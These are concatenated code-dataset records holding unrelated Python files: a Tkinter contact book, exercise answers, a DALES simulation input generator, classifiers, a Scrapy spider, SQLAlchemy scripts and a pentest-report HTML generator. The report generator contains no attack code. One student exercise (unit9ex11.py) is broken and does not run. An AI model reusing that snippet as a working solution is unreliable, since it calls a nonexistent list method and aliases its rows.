= Toplevel(root)\n\ttop.title('Contact')\n\tdimensions=\"\"+str(int(width_screen/2))+\"x\"+str(int(height_screen/2))+\"+0+0\"\n\ttop.geometry(dimensions)\n\tlabel = Label(top, text=texte)\n\tbuttonQuit = Button(top, text='Quitter', command=partial(deleteWindow, top))\n\tbuttonDelete = Button(top, text='Supprimer', command=partial(youSure, top, rawData, listbox))\n\n\tlabel.place(relx=0.5, rely=0.35, anchor=CENTER)\n\tbuttonQuit.place(relx=0.35, rely=0.65, anchor=CENTER)\n\tbuttonDelete.place(relx=0.65, rely=0.65, anchor=CENTER)\n \n\ndef main():\n\troot = Tk()\n\tdimensions=\"\"+str(width_screen)+\"x\"+str(height_screen)+\"+0+0\"\n\troot.geometry(dimensions)\n\troot.title('Répertoire')\n\ttup = getTupleContact()\n\tchoices = Variable(root, tup)\n\tlistbox = Listbox(root, listvariable=choices, selectmode=\"single\", width=100, height=20)\n\tbuttonAdd = Button(root, text='Ajouter', command=partial(addContact, root, listbox))\n\tbutton = Button(root, text='Afficher', command=partial(show_selection, root, choices, listbox))\n\tbuttonQuit = Button(root, text='Quitter', command=partial(deleteWindow, root))\n\t#Recherche\n\ttextSearch = StringVar()\n\tentrySearch = Entry(root, textvariable=textSearch)\n\tbuttonSearch = Button(root, text='Rechercher numéro', command=partial(searchContact, root, textSearch, listbox))\n\tentrySearch.place(relx=0.418, rely=0.045, anchor=CENTER, width=470)\n\tbuttonSearch.place(relx=0.802, rely=0.045, anchor=CENTER)\n\n\tlistbox.place(relx=0.5, rely=0.50, anchor=CENTER)\n\tbuttonQuit.place(relx=0.3, rely=0.95, anchor=CENTER)\n\tbutton.place(relx=0.5, rely=0.95, anchor=CENTER)\n\tbuttonAdd.place(relx=0.7, rely=0.95, anchor=CENTER)\n\t\n\t\n\troot.mainloop()\n\n\n\nif __name__ == '__main__':\n\theight_screen = 400\n\twidth_screen = 800\n\tdonnees = pickle.load(open('data/contact', 'rb'))\n\tmain()","sub_path":"InterfaceAppelMesRep/Répertoire/repertoire.py","file_name":"repertoire.py","file_ext":"py","file_size_in_byte":6342,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"10"} +{"seq_id":"18663046","text":"\"\"\"\nWrite a program that starts with an 5×5 list of zeroes and randomly changes exactly ten of \nthose zeroes to ones\"\"\"\nfrom random import sample\nL = [[0]*5]*5\nprint(L)\nc = 0\n\nwhile c < 5 :\n c = c + 1\n L = L.replace((sample(L,2)),'1')\n\nprint(L)\n\n\n","sub_path":"unit9ex11.py","file_name":"unit9ex11.py","file_ext":"py","file_size_in_byte":254,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"10"} +{"seq_id":"15523979","text":"######################### EXERCISE 1 #########################################\n# A common error is to reverse the word and compare if it is equal to itself.\n# This is an ineficient implementation, it is better to use two pointers\n# (indices) moving from both ends and compare if they point to the same \n# character.\n\nsentence = input('Enter a sentence: ')\nsentence = sentence.lower()\nfront_index = 0\n# remember that the index of the last element of a string is the lenght of the\n# string minus 1 (as the indexing starts at 0).\nrear_index = len(sentence) - 1 \n\n# We assume the sentence to be a palindrom and try to see if is right or not\n# It is quite common tp make an assumption and try to disprove it. If we can't\n# disprove it, the assumption is true.\nis_palindrom = True\n\nwhile is_palindrom and front_index < rear_index: \n # A note about style, it is preferred to write is_palinfrom rather than\n # is_palindrom == True.\n if sentence[front_index] != sentence[rear_index]:\n is_palindrom = False\n front_index += 1\n rear_index -= 1\n\nif is_palindrom:\n print('It is a palindrom.')\nelse:\n print('it is NOT a palindrom')\n \n\n# Hint for the advanced bit: you may want to move the two pointers \n# independently \n\n\n\n######################### EXERCISE 2 #########################################\n\n####################### part 1 #########################################\nsentence = input('Enter a sentence: ')\noutput = ''\nfor letter in sentence:\n if letter != ' ':\n output += letter\n\nprint(output)\n\n\n\n\n####################### part 2 #########################################\nsentence = input('Enter a sentence: ')\noutput = ''\n\n# We need to set up a FLAG that tells us if the next character is the first\n# Character of the next word. We can use a boolean variable, let's call it\n# first_letter. We need to assign the value True as the next character will\n# be the first of the sentence and therefore the first of a word.\nfirst_letter = True\n\nfor letter in sentence:\n if letter != ' ':\n if first_letter:\n # The character is the first of a word so must be\n # upper case\n output += letter.upper()\n first_letter = False\n else:\n output += letter.lower()\n else: #means that the next character will be the first one of a new word\n first_letter = True\n\nprint(output)\n\n\n\n\n####################### part 3 #########################################\nsentence = input('Enter a sentence: ')\noutput = ''\n\n# We need to set up a FLAG that tells us if the next character is the first\n# Character of the next word. We can use a boolean variable, let's call it\n# first_letter. We need to assign the value True as the next character will\n# be the first of the sentence and therefore the first of a word.\nfirst_letter = True\n\n# We also need an ACCUMULATOR to store the content of the current word we\n# are buiding. We initialise the accumulator to an empty string ''.\ncurrent_word = ''\n\n# Finally we need another ACCUMULATOR to build the list of word. It is\n# initialised to an empty list [].\noutput = []\n\nfor letter in sentence:\n if letter.isupper():\n if current_word != '': # This is the start of a new word, and \n # therefore current_word is completed\n # and should be added to output.\n output.append(current_word)\n current_word = letter # we just started a new word\n else: \n current_word += letter\n\n# We must be careful, when we finished to go through the sentence, we did not\n# add the last word.\noutput.append(current_word)\nprint(output)\n\n\n######################### EXERCISE 3 #########################################\n\n######################### part 1 #########################################\n\nplaintext = input(\"Enter message to encrypt: \")\nalphabet = \"abcdefghijklmnopqrstuvwxyz\"\nshift = 3\ncypher_text = \"\"\nfor letter in plaintext:\n if letter in alphabet:\n index = alphabet.index(letter)\n substitution_index = (index + shift) % len(alphabet)\n cypher_text = cypher_text + alphabet[substitution_index]\n else:\n cypher_text = cypher_text + letter\n\nprint(cypher_text)\n\n######################### part 2 #########################################\n\n# Will decipher the encrypted text from previous question, I should retrieve \n# the original plain text.\nplaintext = \"\"\nfor letter in cypher_text:\n if letter in alphabet:\n index = alphabet.index(letter)\n substitution_index = (index - shift) % len(alphabet)\n plaintext = plaintext + alphabet[substitution_index]\n else:\n plaintext = plaintext + letter\n\nprint(plaintext)\n","sub_path":"week3/Answers/week03practical02modelanswers.py","file_name":"week03practical02modelanswers.py","file_ext":"py","file_size_in_byte":4701,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"10"} +{"seq_id":"551020260","text":"import numpy as np\nimport xarray as xr\nfrom collections import OrderedDict as odict\nimport datetime\nimport shutil\nimport sys\nimport os\nimport subprocess\nimport socket\n\n# Add src directory to Python path, and import DALES specific tools\nsrc_dir = os.path.abspath('{}/../../src/'.format(os.path.dirname(os.path.abspath(__file__))))\nsys.path.append(src_dir)\n\nfrom DALES_tools import *\nfrom IFS_soil import *\nfrom pbs_scripts import create_runscript, create_postscript\n\n\ndef execute_c(task):\n \"\"\"\n Execute `task` and return return code\n \"\"\"\n return subprocess.call(task, shell=True, executable='/bin/bash')\n\n\ndef execute_r(call):\n \"\"\"\n Execute `task` and return output of the process (most useful here for getting the PBS job-ID)\n \"\"\"\n sp = subprocess.Popen(call, shell=True, executable='/bin/bash', stdout=subprocess.PIPE)\n return sp.stdout.read().decode(\"utf-8\").rstrip('\\n') # jikes!\n\n\ndef submit(script, workdir, dependency=None):\n \"\"\"\n Submit a runscript (`script`) in work directory `workdir`\n If `dependency` is not None, the task is submitted but\n waits for dependency to finish\n \"\"\"\n if dependency is None:\n tid = execute_r('qsub {}/{}'.format(workdir, script))\n print('Submitted {}: {}'.format(script, tid))\n else:\n tid = execute_r('qsub -W depend=afterok:{} {}/{}'.format(dependency, workdir, script))\n print('Submitted {}: {} (depends on: {})'.format(script, tid, dependency))\n return tid\n\n\ndef fbool(flag):\n \"\"\"\n Convert a Python bool to Fortran bool\n \"\"\"\n return '.true.' if flag==True else '.false.'\n\n\n\nif __name__ == '__main__':\n\n # --------------------\n # Settings\n # --------------------\n\n expname = 'cabauw_20160804_20160818'\n expnr = 1 # DALES experiment number\n iloc = 7+12 # Location in DDH/NetCDF files (7+12 = 10x10km average Cabauw)\n n_accum = 1 # Number of time steps to accumulate in the forcings\n warmstart = False # Run each day/run as a warm start from previous exp\n auto_submit = False # Directly submit the experiments (ECMWF only..)\n\n # 24 hour runs (cold or warm starts), starting at 00 UTC.\n start = datetime.datetime(year=2016, month=8, day=4)\n end = datetime.datetime(year=2016, month=8, day=5)\n dt_exp = datetime.timedelta(hours=24) # Time interval between experiments\n t_exp = datetime.timedelta(hours=24) # Length of experiment\n eps = datetime.timedelta(hours=1)\n\n # Paths to the LES forcings, and ERA5/Cabauw for soil initialisation\n #path = '/Users/bart/meteo/data/HARMONIE/LES_forcings/'\n #path_e5 = '/Users/bart/meteo/data/ERA5/soil/'\n #path_out = '/Users/bart/meteo/data/KNMI_testbed_runs/'\n\n path = '/scratch/ms/nl/nkbs/LES_forcing/'\n path_e5 = '/scratch/ms/nl/nkbs/LES_forcing/'\n path_out = '/scratch/ms/nl/nkbs/DALES_runs/'\n\n\n # ------------------------\n # End settings\n # ------------------------\n\n # Create stretched vertical grid for LES\n grid = Grid_stretched(kmax=160, dz0=20, nloc1=80, nbuf1=20, dz1=150)\n #grid.plot()\n\n date = start\n n = 1\n while date < end:\n print('-----------------------')\n print('Starting new experiment')\n print('-----------------------')\n\n # In case of warm starts, first one is still a cold one..\n start_is_warm = warmstart and n>1\n start_is_cold = not start_is_warm\n\n # Round start date (first NetCDF file to read) to the 3-hourly HARMONIE cycles\n offset = datetime.timedelta(hours=0) if date.hour%3 == 0 else datetime.timedelta(hours=-date.hour%3)\n\n # Get list of NetCDF files which need to be processed, and open them with xarray\n nc_files = get_file_list(path, date+offset, date+t_exp+eps)\n try:\n nc_data = xr.open_mfdataset(nc_files, combine='by_coords')\n except TypeError:\n nc_data = xr.open_mfdataset(nc_files)\n\n # Get indices of start/end date/time in `nc_data`\n t0, t1 = get_start_end_indices(date, date + t_exp + eps, nc_data.time.values)\n\n # Docstring for DALES input files\n domain = nc_data.name[0,iloc].values\n lat = float(nc_data.central_lat[0,iloc].values)\n lon = float(nc_data.central_lon[0,iloc].values)\n docstring = '{0} ({1:.2f}N, {2:.2f}E): {3} to {4}'.format(domain, lat, lon, date, date + t_exp)\n\n if start_is_cold:\n # Create and write the initial vertical profiles (prof.inp)\n create_initial_profiles(nc_data, grid, t0, t1, iloc, docstring, expnr)\n\n # Create and write the surface and atmospheric forcings (ls_flux.inp, ls_fluxsv.inp, lscale.inp)\n create_ls_forcings(nc_data, grid, t0, t1, iloc, docstring, n_accum, expnr, harmonie_rad=False)\n\n # Write the nudging profiles (nudge.inp)\n nudgefac = np.ones_like(grid.z) # ?? -> set to zero in ABL?\n create_nudging_profiles(nc_data, grid, nudgefac, t0, t1, iloc, docstring, 1, expnr)\n\n # Create NetCDF file with reference/background profiles for RRTMG\n create_backrad(nc_data, t0, iloc, expnr)\n\n if start_is_cold:\n # Get the soil temperature and moisture from ERA5\n tsoil = get_Tsoil_ERA5 (date, 4.9, 51.97, path_e5)\n phisoil = get_phisoil_ERA5(date, 4.9, 51.97, path_e5)\n\n # Option to re-scale soil moisture content\n soil_in = soil_med_fine # ERA5 grid point soil type\n soil_out = soil_fine # ~Cabauw soil type\n old_phisoil = phisoil.copy()\n phisoil = soil_in.rescale(old_phisoil, soil_out)\n\n # Update namelist\n namelist = 'namoptions.{0:03d}'.format(expnr)\n replace_namelist_value(namelist, 'lwarmstart', fbool(start_is_warm))\n replace_namelist_value(namelist, 'iexpnr', '{0:03d}'.format(expnr))\n replace_namelist_value(namelist, 'runtime', t_exp.total_seconds())\n replace_namelist_value(namelist, 'trestart', t_exp.total_seconds())\n replace_namelist_value(namelist, 'xlat', lat)\n replace_namelist_value(namelist, 'xlon', lon)\n replace_namelist_value(namelist, 'xday', date.timetuple().tm_yday)\n replace_namelist_value(namelist, 'xtime', date.hour)\n replace_namelist_value(namelist, 'kmax', grid.kmax)\n\n if start_is_cold:\n replace_namelist_value(namelist, 'tsoilav', array_to_string(tsoil))\n replace_namelist_value(namelist, 'phiwav', array_to_string(phisoil))\n replace_namelist_value(namelist, 'tsoildeepav', tsoil[-1]) #????\n\n print('Setting soil properties for {} (input={})'.format(soil_out.name, soil_in.name))\n replace_namelist_value(namelist, 'gammasat', soil_out.gammasat)\n replace_namelist_value(namelist, 'nvg', soil_out.nvg)\n replace_namelist_value(namelist, 'Lvg', soil_out.lvg)\n replace_namelist_value(namelist, 'alphavg', soil_out.alphavg)\n replace_namelist_value(namelist, 'phir', soil_out.phir)\n replace_namelist_value(namelist, 'phi', soil_out.phi_sat)\n replace_namelist_value(namelist, 'phiwp', soil_out.phi_wp)\n replace_namelist_value(namelist, 'phifc', soil_out.phi_fc)\n\n # Read back namelist\n nl = Read_namelist('namoptions.{0:03d}'.format(expnr))\n\n # Copy/move files to work directory\n workdir = '{0}/{1:04d}{2:02d}{3:02d}'.format(path_out, date.year, date.month, date.day)\n if not os.path.exists(workdir):\n os.makedirs(workdir)\n\n # Create SLURM runscript\n print('Creating runscript')\n ntasks = nl['run']['nprocx']*nl['run']['nprocy']\n create_runscript ('L{0:03d}_{1}'.format(expnr, n), ntasks, walltime=24, work_dir=workdir, expnr=expnr)\n\n # Copy/move files to work directory\n exp_str = '{0:03d}'.format(expnr)\n to_copy = ['namoptions.{}'.format(exp_str), 'rrtmg_lw.nc', 'rrtmg_sw.nc', 'dales4',\n 'prof.inp.{}'.format(exp_str), 'scalar.inp.{}'.format(exp_str), 'mergecross.py']\n to_move = ['backrad.inp.{}.nc'.format(exp_str), 'lscale.inp.{}'.format(exp_str),\\\n 'ls_flux.inp.{}'.format(exp_str), 'ls_fluxsv.inp.{}'.format(exp_str),\\\n 'nudge.inp.{}'.format(exp_str), 'run.PBS']\n\n print('Copying/moving input files')\n for f in to_move:\n shutil.move(f, '{}/{}'.format(workdir, f))\n for f in to_copy:\n shutil.copy(f, '{}/{}'.format(workdir, f))\n\n if start_is_warm:\n # Link base state and restart files from `prev_wdir` to the current working directory)\n print('Creating symlinks to restart files')\n\n hh = int(t_exp.total_seconds()/3600)\n mm = int(t_exp.total_seconds()-(hh*3600))\n\n # Link base state profile\n f_in = '{0}/baseprof.inp.{1:03d}'.format(prev_workdir, expnr)\n f_out = '{0}/baseprof.inp.{1:03d}'.format(workdir, expnr)\n\n if not os.path.exists(f_out):\n os.symlink(f_in, f_out)\n\n # Link restart files\n for i in range(nl['run']['nprocx']):\n for j in range(nl['run']['nprocy']):\n for ftype in ['d','s','l']:\n\n f_in = '{0}/init{1}{2:03d}h{3:02d}mx{4:03d}y{5:03d}.{6:03d}'\\\n .format(prev_workdir, ftype, hh, mm, i, j, expnr)\n f_out = '{0}/init{1}000h00mx{2:03d}y{3:03d}.{4:03d}'\\\n .format(workdir, ftype, i, j, expnr)\n\n if not os.path.exists(f_out):\n os.symlink(f_in, f_out)\n\n # Submit task, accounting for job dependencies in case of warm start\n if auto_submit:\n if start_is_warm:\n run_id = submit('run.PBS', workdir, dependency=prev_run_id)\n else:\n run_id = submit('run.PBS', workdir)\n\n # Create and submit post-processing task\n create_postscript('P{0:03d}_{1}'.format(expnr, n), walltime=24, work_dir=workdir, expnr=expnr,\n itot=nl['domain']['itot'], jtot=nl['domain']['jtot'], ktot=nl['domain']['kmax'], \n nprocx=nl['run']['nprocx'], nprocy=nl['run']['nprocy'])\n\n shutil.move('post.PBS', '{}/post.PBS'.format(workdir))\n\n if auto_submit:\n post_id = submit('post.PBS', workdir, dependency=run_id)\n\n # Advance time and store some settings\n date += dt_exp\n n += 1\n prev_workdir = workdir\n\n if auto_submit:\n prev_run_id = run_id\n","sub_path":"cases/cabauw/create_input.py","file_name":"create_input.py","file_ext":"py","file_size_in_byte":10667,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"10"} +{"seq_id":"371183052","text":"from PIL import Image\nimport numpy as np\nimport argparse\n\nparser = argparse.ArgumentParser(\n description=\"Converts bytes from file to image.\")\n\nparser.add_argument('file',\n type=str,\n help='Input file to be processed')\nparser.add_argument('-w', '--width',\n help='Width of output image file',\n type=int,\n default=1024)\n\nargs = parser.parse_args()\nfilename = args.file\nimg_width = args.width\n\n#read file\nwith open(filename, \"rb\") as f:\n fl = f.read()\n\n\n# extend to [img_width] bytes\nmiss = len(fl) % img_width\nfor x in range(img_width-miss):\n fl = fl + bytes([0])\n\n#create numpy arr\nfl = np.array(np.uint8((list(fl))))\n\n#reshape it\nfl = np.reshape(fl,( -1,img_width))\n\n#save to img\ni = Image.fromarray(fl, mode=\"L\")\ni.save(filename + \".png\")\n\n\n\n\n","sub_path":"file2img.py","file_name":"file2img.py","file_ext":"py","file_size_in_byte":848,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"10"} +{"seq_id":"110461471","text":"#!/usr/bin/env python\n\n\"\"\"parse puppet class data from stdin and given an environment and a class name\nreport those nodes that do not have the named class realised.\"\"\"\n\nimport itertools\nimport json\nimport logging\nimport os\nimport sys\n\nlogging.basicConfig(level=logging.INFO)\n\n\ndef classname_missing(classes_json, classname, environment):\n \"\"\"return list of certnames that do not have classname present.\"\"\"\n names = {}\n for c in classes_json:\n if c['environment'] == environment:\n names[c['certname']] = False\n for c in classes_json:\n if c['environment'] == environment and c['title'] == classname:\n names[c['certname']] = True\n not_present = []\n for n in names.items():\n if n[1] is False:\n not_present.append(n[0])\n logging.debug(n)\n return not_present\n\n\nif __name__ == \"__main__\":\n classname = os.environ['PUPPETDB_CLASSNAME']\n environment = os.environ['PUPPETDB_ENVIRONMENT']\n classes_json = json.load(sys.stdin)\n print('Nodes in {} that do not have class {} are :'.format(\n environment,\n classname\n ))\n missing = classname_missing(classes_json, classname, environment)\n missing.sort()\n for n in missing:\n print('\\t' + n)\n","sub_path":"tools/puppetdb_class_missing.py","file_name":"puppetdb_class_missing.py","file_ext":"py","file_size_in_byte":1251,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"10"} +{"seq_id":"357678733","text":"import numpy as np\r\nimport pylab as pl\r\nimport pandas as pd\r\nimport matplotlib.pyplot as plt \r\nimport seaborn as sns\r\nfrom sklearn.utils import shuffle\r\nfrom sklearn.svm import SVC\r\nfrom sklearn.metrics import confusion_matrix,classification_report\r\nfrom sklearn.model_selection import cross_val_score, GridSearchCV\r\nfrom scipy import io as sio\r\n\r\nfrom warnings import simplefilter\r\n# ignore all future warnings\r\nsimplefilter(action='ignore', category=FutureWarning)\r\nfeature_set = []\r\ny = []\r\nfiles = ['raw_data_features_female_1.mat','raw_data_features_female_2.mat','raw_data_features_female_3.mat','raw_data_features_male_1.mat','raw_data_features_male_2.mat']\r\nfor f in files:\r\n\tprint(f)\r\n\ta = sio.loadmat(f)\r\n\tcyl = a['cyl_1']\r\n\tcyl2 = a['cyl_2']\r\n\tcyl = np.append(cyl,cyl2,axis=1)\r\n\thook = a['hook_1']\r\n\thook2 = a['hook_2']\r\n\thook = np.append(hook,hook2,axis=1)\r\n\tlat = a['lat_1'] \r\n\tlat2=a['lat_2']\r\n\tlat = np.append(lat,lat2,axis=1)\r\n\tpalm = a['palm_1']\r\n\tpalm2 = a['palm_2']\r\n\tpalm = np.append(palm,palm2,axis=1)\r\n\tspher = a['spher_1']\r\n\tspher2 = a['spher_2']\r\n\tspher = np.append(spher,spher2,axis=1)\r\n\ttip = a['tip_1']\r\n\ttip2 = a['tip_2']\r\n\ttip= np.append(tip,tip2,axis=1)\r\n\ttemp = np.vstack([cyl,hook,lat,palm,spher,tip])\r\n\t\r\n\tg = np.array([0]*30 + [1]*30 + [2]*30 + [3]*30 + [4]*30 + [5]*30)\r\n\t#y = np.array([1]*30 + [0]*150)\r\n\t\r\n\tone_hot_labels = np.zeros((180, 6))\r\n\tfor i in range(180):\r\n\t one_hot_labels[i, g[i]] = 1\r\n\t\t \r\n#\tw, h = 6, 180;\r\n#\tok = [[0 for x in range(w)] for y in range(h)] \r\n#\tfor i in range(180):\r\n#\t\tok = [0]*6\r\n#\t\tfor j in range(6):\r\n#\t\t\tok[j] = one_hot_labels[i][j]\r\n#\t\ty.append(ok)\r\n\tfor i in one_hot_labels:\r\n\t\ty.append(i)\r\n\tfor i in temp:\r\n\t\tfeature_set.append(i)\r\n\r\ny = np.array(y)\r\nfeature_setn = np.array(feature_set)\r\nX = feature_setn\r\n\r\nfrom sklearn.model_selection import train_test_split\r\nX_train, X_test, y_train, y_test = train_test_split(X, y, test_size = 0.2, random_state = None)\r\n\r\n\r\nfrom sklearn.preprocessing import StandardScaler\r\nsc = StandardScaler()\r\nX_train = sc.fit_transform(X_train)\r\nX_test = sc.transform(X_test)\r\n\r\n\r\nfrom sklearn.multiclass import OneVsRestClassifier\r\nfrom sklearn.svm import *\r\nfrom sklearn import metrics\r\nfrom sklearn.naive_bayes import MultinomialNB\r\nfrom sklearn.linear_model import *\r\n\r\n#classifier = OneVsRestClassifier(LinearSVC(loss='squared_hinge', penalty='l2', dual=False, tol=1, C=10e5))\r\nfor base_clf in ( LinearSVC(random_state=None),LinearRegression(),LogisticRegression()):\r\n\tclassifier = OneVsRestClassifier(base_clf).fit(X_train, y_train)\r\n#\tpred = classifier.predict(X_test)\r\n\tscore = classifier.score(X_test,y_test)\r\n\tprint(score)\r\n# = metrics.f1_score(y_test, pred, average=\"micro\")\r\n\tprint('--------------------------------------------')","sub_path":"Rest_all.py","file_name":"Rest_all.py","file_ext":"py","file_size_in_byte":2748,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"10"} +{"seq_id":"559212700","text":"#!/bin/env python\r\n# -*- coding: utf-8 -*-\r\nimport sys\r\nimport os\r\nimport codecs\r\nimport glob\r\nimport configparser\r\nimport pandas as pd\r\nfrom jinja2 import Environment, FileSystemLoader\r\n\r\n\r\n# Create report.\r\nclass CreateReport:\r\n def __init__(self):\r\n # Read config file.\r\n full_path = os.path.dirname(os.path.abspath(__file__))\r\n config = configparser.ConfigParser()\r\n try:\r\n config.read(os.path.join(full_path, 'config.ini'))\r\n except FileExistsError as err:\r\n print('File exists error: {0}', err)\r\n sys.exit(1)\r\n\r\n self.report_path = os.path.join(full_path, config['Report']['report_path'])\r\n self.report_file = os.path.join(self.report_path, config['Report']['report_file'])\r\n self.template_file = config['Report']['template_file']\r\n self.header = str(config['Report']['header']).split('@')\r\n\r\n def create_report(self):\r\n # Gather reporting items.\r\n csv_file_list = glob.glob(os.path.join(self.report_path, '*.csv'))\r\n\r\n # Create DataFrame.\r\n content_list = []\r\n for file in csv_file_list:\r\n content_list.append(pd.read_csv(file, names=self.header, sep=','))\r\n df_csv = pd.concat(content_list).drop_duplicates().sort_values(by=['ip', 'port'], ascending=True).reset_index(drop=True, col_level=1)\r\n\r\n items = []\r\n for idx in range(len(df_csv)):\r\n items.append({'ip_addr': df_csv.loc[idx, 'ip'],\r\n 'port': df_csv.loc[idx, 'port'],\r\n 'prod_name': df_csv.loc[idx, 'service'],\r\n 'vuln_name': df_csv.loc[idx, 'vuln_name'],\r\n 'type': df_csv.loc[idx, 'type'],\r\n 'description': df_csv.loc[idx, 'description'],\r\n 'exploit': df_csv.loc[idx, 'exploit'],\r\n 'target': df_csv.loc[idx, 'target'],\r\n 'payload': df_csv.loc[idx, 'payload'],\r\n 'ref': str(df_csv.loc[idx, 'reference']).replace('@', '
    ')})\r\n\r\n # Setting template.\r\n env = Environment(loader=FileSystemLoader(self.report_path))\r\n template = env.get_template(self.template_file)\r\n pd.set_option('display.max_colwidth', -1)\r\n html = template.render({'title': 'GyoiThon Scan Report', 'items': items})\r\n with codecs.open(self.report_file, 'w', 'utf-8') as fout:\r\n fout.write(html)\r\n\r\n\r\nif __name__ == '__main__':\r\n report = CreateReport()\r\n report.create_report()\r\n print('Finish!!')\r\n","sub_path":"DeepExploit/CreateReport.py","file_name":"CreateReport.py","file_ext":"py","file_size_in_byte":2599,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"10"} +{"seq_id":"100731133","text":"# -*- coding: utf-8 -*-\n\"\"\"This file is a WerkenbijBigbazar spider created on top of the ATSSpider\nscrapy crawl werkenbijbigbazar -a url=\"https://www.werkenbijbigbazar.nl/50/Vacatures\" -a mining_job_id=999 -a iteration=1 -a extract=1\nsample url:\n https://www.werkenbijbigbazar.nl/50/Vacatures\n\"\"\"\nfrom urlparse import urljoin\nfrom re import compile\n\nfrom scrapy.selector import Selector\nfrom scrapy.http import Request, FormRequest\n\nfrom brightcorp.base.atsspiders import ATSSpider\nfrom brightcorp.items import BrightcorpItemLoader\nfrom brightcorp.processors import Prefix, NormalizedJoin, HtmlFormatter\n\n\nclass WerkenbijBigbazar(ATSSpider):\n\n name = \"werkenbijbigbazar\"\n ref_re = compile(\"Vacatures/(\\d+)\")\n job_count = 1\n\n def parse(self, response):\n sel = Selector(response)\n if not self.expected_job_count_set:\n job_count = sel.xpath(\"//h1/text()\").extract()\n if job_count:\n self.expected_job_count = job_count[0]\n\n jobs = sel.xpath(\"//a[@class='vacres' and span[@class='vactitel']]\")\n for job in jobs:\n self.job_count += 1\n job_link = job.xpath(\"@href\").extract()\n if job_link:\n job_url = urljoin(response.url, job_link[0])\n meta = {\n 'title': job.xpath(\n \"./span[@class='vactitel']/text()\"\n ).extract()\n }\n yield Request(\n job_url, meta=meta, callback=self.parse_job_callback()\n )\n\n next_page = sel.xpath(\"//span[text()=' Volgende ']\").extract()\n if next_page:\n form_data = {\"curstart\": str(self.job_count)}\n yield FormRequest.from_response(\n response, formdata=form_data, callback=self.parse\n )\n\n def parse_job(self, response):\n loader = BrightcorpItemLoader(response=response)\n loader.add_value('url', response.url)\n loader.add_value('title', response.meta['title'])\n loader.add_xpath(\n \"location\",\n \"//td[strong[text()='Vestiging:']]/following-sibling::td[last()]/text()\"\n )\n loader.add_xpath(\n \"experiencerequirements\",\n \"//td[strong[text()='Werkervaring:']]/following-sibling::td[last()]/text()\"\n )\n loader.add_xpath(\n \"educationrequirements\",\n \"//td[strong[text()='Opleidingsniveau:']]/following-sibling::td[last()]/text()\"\n )\n loader.add_xpath(\n \"workhours\",\n \"//td[strong[text()='Uren per week:']]/text()\",\n NormalizedJoin(\"\")\n )\n loader.add_xpath(\n \"description\",\n \"//table[@class='bigbazartxt']/following-sibling::div/div[@class='bigbazartxt']\",\n HtmlFormatter()\n )\n loader.add_value(\n 'referencenumber', response.url, Prefix(\"%s-\" % self.name),\n re=self.ref_re\n )\n yield loader.load_item()\n","sub_path":"brightcorp/brightcorp/spiders/werkenbijbigbazar.py","file_name":"werkenbijbigbazar.py","file_ext":"py","file_size_in_byte":3046,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"10"} +{"seq_id":"367507070","text":"#!/usr/bin/python3\n# Lists all states from a database\n\nif __name__ == \"__main__\":\n import sqlalchemy\n from sqlalchemy.orm import sessionmaker\n from model_state import Base, State\n from sys import argv, exit\n\n if len(argv) != 4:\n print(\"Usage: ./10.py \")\n exit(1)\n\n usr, pwd, dbe = argv[1], argv[2], argv[3]\n\n eng = \"mysql://\" + usr + \":\" + pwd + \"@localhost:3306/\" + dbe\n try:\n engine = sqlalchemy.create_engine(eng)\n except Exception as err:\n print(err)\n exit(1)\n Session = sessionmaker(bind=engine)\n session = Session()\n\n query = session.query(State).filter_by(id=2).first()\n query.name = \"New Mexico\"\n session.commit()\n session.close()\n","sub_path":"0x0E-python-object_relational_mapping/12-model_state_update_id_2.py","file_name":"12-model_state_update_id_2.py","file_ext":"py","file_size_in_byte":748,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"10"} +{"seq_id":"309976666","text":"import numpy as np\nimport src.const as const\n\nDIM = const.DIM\n\n\nclass TreeNode(object):\n def __init__(self, data, parent=None):\n self.data = data # tuple (x, y) coordinate\n self.parent = parent\n self.children = list()\n if parent is not None:\n parent.children.append(self)\n\n\nclass TreeMap(object):\n\n def __init__(self):\n self.map = np.full(DIM, None)\n self.data_list = list()\n self.last_data = None # the last data added to the tree\n\n\n # create a new node and add it to the map\n def add_node(self, data, parent=None):\n if data[0] >= DIM[1] or data[1] >= DIM[0] or data[0] < 0 or data[1] < 0: # assert bounds\n return False\n if self.find(data) is not None: # assert not already present\n return False\n\n self.map[data[1]][data[0]] = TreeNode(data, parent)\n self.data_list.append(data)\n self.last_data = data\n return True\n\n\n # return a reference to the node if it's present\n def find(self, data):\n return self.map[data[1]][data[0]]\n\n\n # clamp an x, y coordinate to a range\n def clamp(self, point, rnge=DIM):\n clamped_point = [point[0], point[1]]\n for i in range(len(point)):\n clamped_point[i] = max(point[i], 0)\n clamped_point[i] = min(rnge[i]-1, clamped_point[i])\n return clamped_point\n\n\n # check if a point is within step_dist of any point in the tree\n def point_in_range(self, point, step_dist):\n start = self.clamp((point[0] - step_dist, point[1] - step_dist))\n end = self.clamp((point[0] + step_dist, point[1] + step_dist))\n\n for x in range(start[0], end[0]):\n for y in range(start[1], end[1]):\n if self.map[y][x] is not None:\n return x, y\n return None\n\n\n # Return the path from a given up it's parent nodes\n def path(self, node):\n curr_node = node\n path = [curr_node.data]\n while curr_node.parent is not None:\n curr_node = curr_node.parent\n path.insert(0, curr_node.data)\n return path\n\n","sub_path":"src/TreeMap.py","file_name":"TreeMap.py","file_ext":"py","file_size_in_byte":2129,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"10"} +{"seq_id":"653946283","text":"#!/usr/bin/env python\n# encoding: utf-8\n\n\n\"\"\"\n@author: gongxingfa\n@contact: xingfa.gong@wenba100.com\n@site: http://www.wenba100.com\n@software: PyCharm\n@file: class_name_country.py\n@time: 2017/9/11 下午5:18\n\"\"\"\nfrom __future__ import unicode_literals, print_function, division\nfrom io import open\nimport glob\nimport unicodedata\nimport string\nimport torch\nimport torch.nn as nn\nfrom torch.autograd import 